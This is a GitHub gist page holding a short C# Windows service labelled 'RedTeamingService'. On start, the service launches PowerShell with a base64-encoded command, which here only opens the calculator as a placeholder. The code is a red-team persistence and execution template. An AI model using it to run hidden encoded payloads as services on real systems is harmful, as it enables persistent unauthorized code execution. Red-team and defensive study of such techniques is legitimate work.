Skip to content

Instantly share code, notes, and snippets.

@thinkst-cs
Forked from benpturner/SystemService.cs
Created January 6, 2023 13:43
Show Gist options
  • Save thinkst-cs/11c002434a514e7997fd544aa63abf04 to your computer and use it in GitHub Desktop.
Save thinkst-cs/11c002434a514e7997fd544aa63abf04 to your computer and use it in GitHub Desktop.
Simple C# Service
using System;
using System.Diagnostics;
using System.ServiceProcess;
namespace RedTeamingService
{
public partial class SystemService : ServiceBase
{
public static int pid = 0;
public SystemService()
{
InitializeComponent();
}
protected override void OnStart(string[] args)
{
try
{
ProcessStartInfo psi = new ProcessStartInfo(@"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe");
psi.Arguments = @"-e cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA=";
psi.RedirectStandardOutput = true;
psi.RedirectStandardError = true;
psi.WindowStyle = System.Diagnostics.ProcessWindowStyle.Normal;
psi.UseShellExecute = false;
System.Diagnostics.Process processone;
processone = System.Diagnostics.Process.Start(psi);
pid = processone.Id;
}
catch
{
// do something
}
}
protected override void OnStop()
{
try
{
Process.GetProcessById(pid).Kill();
}
catch (Exception ex)
{
// do nothing
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment